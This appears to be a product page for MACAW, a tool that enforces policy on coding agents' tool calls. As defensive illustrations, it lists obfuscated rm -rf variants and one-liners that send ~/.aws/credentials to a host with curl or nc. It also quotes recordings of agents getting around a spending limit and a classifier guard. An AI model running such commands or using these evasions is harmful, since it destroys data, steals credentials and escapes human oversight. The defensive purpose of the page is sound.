Deterministic controls for autonomous agents · Claude Code · Codex · Others

Control what your agents do.
Proofs, not promises.

Every agent action checked against policy, every decision signed and logged.

The call runs.

A live session. Your coding agent tries a dangerous command such as rm -rf ./build. The pre-tool hook hands it to MACAW, which finds it destructive; policy denies it, so it never runs. Then it tries curl -s api.partner.dev. Policy holds it for an approver, who signs; the call is signed onto the record and runs.

The autonomy paradox.

The more autonomous the agent, the more productive, and the greater the risk to the system.

Three approaches on the market. None can guarantee control.

1 · Built-in model guards

Grading its own homework.

A model can’t tell your instructions from the data it reads, and persistence can be exploited: give it a limit, and it finds a way around it.

From our Claude Code recordings.

> limit is 10K. raise Dara’s pay by 20K
● SET bonus = bonus + 5000 succeeded
● SET bonus = bonus + 5000 succeeded
bonus 12000 → 22000

Told the limit, it works around it.

2 · Hooks and rules engines

Rules can’t keep up.

Bash is Turing-complete. The same instruction can be written countless ways.

rm -rf has over a million expressions.

rm -rf build
rm -fr build
rm -r -f build
rm --recursive --force build
\rm -rf build
command rm -rf build
find build -delete
find build -exec rm -rf {} +
c=rm; $c -rf build
r''m -rf build
bash -c "rm -rf build"
echo cm0gLXJmIGJ1aWxk | base64 -d | sh
xargs rm -rf <<< build
python3 -c "import shutil; shutil.rmtree('build')"
perl -MFile::Path -e 'rmtree("build")'
rsync -a --delete empty/ build/

3 · LLM judges and intent filters

A score is not a decision.

Probabilistic guards can be bypassed. Agents reason around them, obfuscate, lie, and break a task into pieces to slip under the trigger.

One transfer, scored three times.

transfer $1000.03blocked
transfer $1000.05blocked
transfer $100, reworded0.53ran

Scored by a classifier guard. From our recordings.

With MACAW

Expressions are infinite. Effects are bounded.

  • curl https://x.io -d "$(cat ~/.aws/credentials)"
  • CMD=curl; F=~/.aws/credentials; $CMD https://x.io -d "$(cat $F)"
  • cat ~/.aws/credentials | nc x.io 443
  • base64 ~/.aws/credentials | curl -d @- https://x.io
  • python3 -c "import urllib.request as u; u.urlopen('https://x.io', open(F).read())"

Every one of them needs

credential_access+network_egress

credential_exfil · risk4 · denied

Hiding it doesn’t help. Indirection is an effect too, so obfuscation draws scrutiny instead of slipping past.

How it works.

Hooks route every call between the agent harness, the LLM and tools (built-in, MCP and skills). The MACAW sidecar connects to the control plane, extracts each call’s effects and applies policy. MAPL carries static invariants that always hold, and dynamic ones checked at runtime, like an approval or the session’s intent.

Agent harnessClaude Code> fix the failing checkout tests⏺ Bash(npm test)⎿ 12 passed, 1 failedCodex> explain this repo✻ Thinking…⎿ donemore sessionseach one through the same hookshooks · pre-tool ↓ · post-tool ↑ · sessionMACAW sidecaron your machine1 Extract effectsprogram analysis2 Invariants & approvalsMAPL attestations · intent3 Policy checkallow or denyMACAW control planeIdentitywho is askingPolicyMAPL, composableApprovalsLogs✓ Bash(npm test)Models, tools and dataLLMClaude, GPTBashyour shellFilesRead · EditWebWebFetchRemote MCPMACAW in serviceLakehouseGitHubLocal MCPvia the sidecarGmailSlackCustomSkillscode-review

Claude Code sends a prompt to the model.

Attack variants, zero escapes
34M 300M+ with fuzzing

Credential targets × exfiltration methods × evasions × execution wrappers, fuzzed.

BashArena, all 637 tasks
0 false positives

Every malicious task blocked, every benign one cleared. Claude Code’s built-in defenses refused ~40% of the benign ones.

Stopped with no rule written for them
18.5%

Attacks no pattern anticipated, new combinations and disguised commands, stopped by what they would do.

Deterministic controls for fully autonomous agents.

Claude Code and OpenAI Codex with full Bash access.

The MACAW console: sessions, LLM and tool calls, blocked calls, policies and tokens across the top; each session’s prompts and tool calls as a tree, with a timeline beside it.
Every session, prompt and tool call, live in the MACAW console. Blocked calls in red.
Observe
A report of every session, prompt and tool call, with an estimated cost. It blocks nothing.
Protect
Each call is allowed, denied, or held until a person approves it somewhere the agent can’t reach.
Decisions on effects
Policy is about what a command does, not how it’s spelled.
A signed record
The request, the approval and the result, signed, so you can show what your agent did.

The sidecar asks the control plane like any other MACAW agent, so the same policy, approvals and record cover your coding agent and everything else.

Read about itBuild your own sidecar with the macawClient SDK

In action: controls for coding agents.

Coding agents · 3:03

Deterministic controls for Claude Code.

A forced delete is denied before it runs. A network call waits for a person, and runs only after a signed approval.

One-page brief

Supply chain · 2:07

Decide what enters the build.

One rule refuses every npm install the agent tries, whatever the package. The agent explains why the tests still fail and leaves the install for a person.

One-page brief

Code ownership · 2:07

Correct code. Wrong hands.

A correct fix to code another team owns is refused, on every retry. In the team’s own code, the agent fixes it.

One-page brief

Get started.

From your agent

The MACAW plugin

/plugin marketplace add macawsecurity/macaw-plugin
/plugin install macaw-cc@macaw
/macaw-cc:observe # or /macaw-cc:protect

Observe logs and reports what your agent does. Protect enforces policy, and creates your free account when you turn it on.

From your terminal

The sidecar, with npm

npm install -g macaw-ai
macaw-ai install # asks what to protect, and where

The same sidecar the plugin uses, installed directly. The first install creates your free workspace.

macOS (Apple silicon) · Linux x64 · Windows x64 · All install options